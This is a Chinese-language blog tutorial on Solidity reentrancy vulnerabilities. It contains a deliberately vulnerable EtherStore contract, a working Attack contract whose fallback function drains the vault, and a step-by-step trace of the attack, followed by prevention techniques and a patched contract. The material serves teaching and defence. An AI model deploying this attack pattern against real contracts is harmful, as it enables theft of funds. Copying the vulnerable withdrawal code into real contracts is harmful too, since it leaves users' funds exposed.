美文网首页
区块链Solidity安全-重入漏洞

区块链Solidity安全-重入漏洞

作者: romakingwolf | 来源:发表于2018-08-17 16:46 被阅读0次

    重入漏洞说明

    以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作(以太坊的合约账户拥有外部账户同样的功能,只是外部账户由持有该账户私钥的用户控制,合约账户由合约代码控制,外部账户不包含合约代码)。

    向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。

    在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”

    利用“重入漏洞”执行的攻击方式被用于臭名昭著的DAO攻击中。

    漏洞介绍

    当以太坊智能合约将Ether发送给未知地址(地址来源于输入或是调用者)时,可能会发生此攻击。

    攻击者可以在地址对应合约的Fallback函数中,构建一段恶意代码。当易受攻击的合约将Ether发送给攻击者构建的恶意合约地址时,将执行Fallback函数,执行恶意代码。恶意代码可以是重新进入易受攻击的合约的相关代码,这样攻击者可以重新进入易受攻击合约,执行一些开发人员不希望执行的合约逻辑。

    攻击演示

    考虑简单易受伤害的合约EtherStore,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。

    EtherStore.sol:

    contract EtherStore {
    
        uint256 public withdrawalLimit = 1 ether;
        mapping(address => uint256) public lastWithdrawTime;
        mapping(address => uint256) public balances;
    
        function depositFunds() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdrawFunds (uint256 _weiToWithdraw) public {
            require(balances[msg.sender] >= _weiToWithdraw);
            // limit the withdrawal
            require(_weiToWithdraw <= withdrawalLimit);
            // limit the time allowed to withdraw
            require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
            require(msg.sender.call.value(_weiToWithdraw)());
            balances[msg.sender] -= _weiToWithdraw;
            lastWithdrawTime[msg.sender] = now;
        }
     }
    

    该合约有两个公共职能: depositFunds()withdrawFunds()

    • depositFunds() 功能是增加发件人余额
    • withdrawFunds() 功能允许发件人指定要撤回的wei的数量,并且如果所要求的退出金额小于1Ether并且在之前一周没有发生撤回操作,它才会成功。

    但是,当恶意攻击者,使用“重入漏洞”对合约进行攻击时,将不会按照合约创建者希望的逻辑进行执行。

    漏洞出现在第17行代码:

            require(msg.sender.call.value(_weiToWithdraw)());
    

    考虑下面这个恶意攻击者创建的攻击合约Attack.sol,攻击者可以利用攻击合约不按照规则进行Ether的提取撤回。

    Attack.sol:

    import "EtherStore.sol";
    
    contract Attack {
      EtherStore public etherStore;
    
      // intialise the etherStore variable with the contract address
      constructor(address _etherStoreAddress) {
          etherStore = EtherStore(_etherStoreAddress);
      }
      
      function pwnEtherStore() public payable {
          // attack to the nearest ether
          require(msg.value >= 1 ether);
          // send eth to the depositFunds() function
          etherStore.depositFunds.value(1 ether)();
          // start the magic
          etherStore.withdrawFunds(1 ether);
      }
      
      function collectEther() public {
          msg.sender.transfer(this.balance);
      }
        
      // fallback function - where the magic happens
      function () payable {
          if (etherStore.balance > 1 ether) {
              etherStore.withdrawFunds(1 ether);
          }
      }
    }
    

    假设EtherStore.sol的合约地址是:0x0...01;Attack.sol的合约地址是:0x0...02;
    假设EtherStore.sol合约已经有用户使用过,并且将若干Ether存入了合约,并还没有进行撤回提取,将设当前合约的Ether余额是100ether。

    攻击过程如下:

    1. 攻击者创建攻击合约,并执行构造函数,传入参数是以太坊保险库合约EtherStore对应的合约地址:0x0...01;
    2. 攻击者调用合约Attack(0x0...02),并存入若干Ether(大于1ether);
    3. 攻击者调用合约Attack(0x0...02)的 pwnEtherStore() 方法;
    4. Attack.sol - Line[15] :恶意合约调用易受攻击合约的 depositFunds 方法,并转入1ether;
    5. EtherStore.sol - Line[8] :易受攻击合约中 balances["0x0...02"] = 1 ether
    6. Attack.sol - Line[17] :恶意合约调用易受攻击合约的 withdrawFunds() 方法,撤回提取1ether;
    7. EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,将会全部通过(余额大于1,且在之前的一周没有执行过撤回提取操作);
    8. EtherStore.sol - Line[17] :易受攻击合约执行第17行代码,像攻击合约地址转账1ether,由于转账地址是合约账户,将会执行对应合约的fallback函数;
    9. Attack.sol - Line[26-28] :攻击合约的fallback函数执行,检查易受攻击合约的余额(当前余额是101ether),检查通过后,继续调用 withdrawFunds() 方法,撤回提取1ether,重新进入易受攻击合约,此时易受攻击合约的第17行代码后的代码全部没有执行完成;
    10. EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,由于此前的调用并没有执行18行和19行代码,因此, balances["0x0...02"] = 1 etherlastWithdrawTime["0x0...02"] = 0 ,验证将通过;
    11. EtherStore.sol - Line[17] :易受攻击合约将再次执行第17行代码,像攻击合约地址转账1ether;
    12. 此后将重复6-11步,直到将易受攻击合约的余额(101ether)全部转账给攻击合约地址(Attack.sol合约的第26行为false);
    13. EtherStore.sol - Line[18-19] :执行,设置 balanceslastWithdrawTime ,并结束合约调用。

    最终的结果是,攻击者只用一笔交易,便立即从 EtherStore 合约中取出了(除去 1 个 Ether 以外)所有的 Ether。

    漏洞预防

    有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。这里提供三种预防技巧:

    1. 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。

    2. 确保所有改变状态变量的逻辑发生在 Ether 被发送出合约(或任何外部调用)之前。在这个 EtherStore 例子中,EtherStore.sol - Line[18-19] 应放在 Line[17] 之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。

    3. 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。

    预防演示

    给 EtherStore.sol 应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:

    contract EtherStore {
    
        // initialise the mutex
        bool reEntrancyMutex = false;
        uint256 public withdrawalLimit = 1 ether;
        mapping(address => uint256) public lastWithdrawTime;
        mapping(address => uint256) public balances;
        
        function depositFunds() public payable {
            balances[msg.sender] += msg.value;
        }
        
        function withdrawFunds (uint256 _weiToWithdraw) public {
            require(!reEntrancyMutex);
            require(balances[msg.sender] >= _weiToWithdraw);
            // limit the withdrawal
            require(_weiToWithdraw <= withdrawalLimit);
            // limit the time allowed to withdraw
            require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
            balances[msg.sender] -= _weiToWithdraw;
            lastWithdrawTime[msg.sender] = now;
            // set the reEntrancy mutex before the external call
            reEntrancyMutex = true;
            msg.sender.transfer(_weiToWithdraw);
            // release the mutex after the external call
            reEntrancyMutex = false; 
        }
     }
    

    真实漏洞利用案例

    The DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了 Ethereum Classic(ETC)的分叉。有关The DAO 漏洞的详细分析,请参阅 Phil Daian 的文章

    相关文章

      网友评论

          本文标题:区块链Solidity安全-重入漏洞

          本文链接:https://www.haomeiwen.com/subject/nvcebftx.html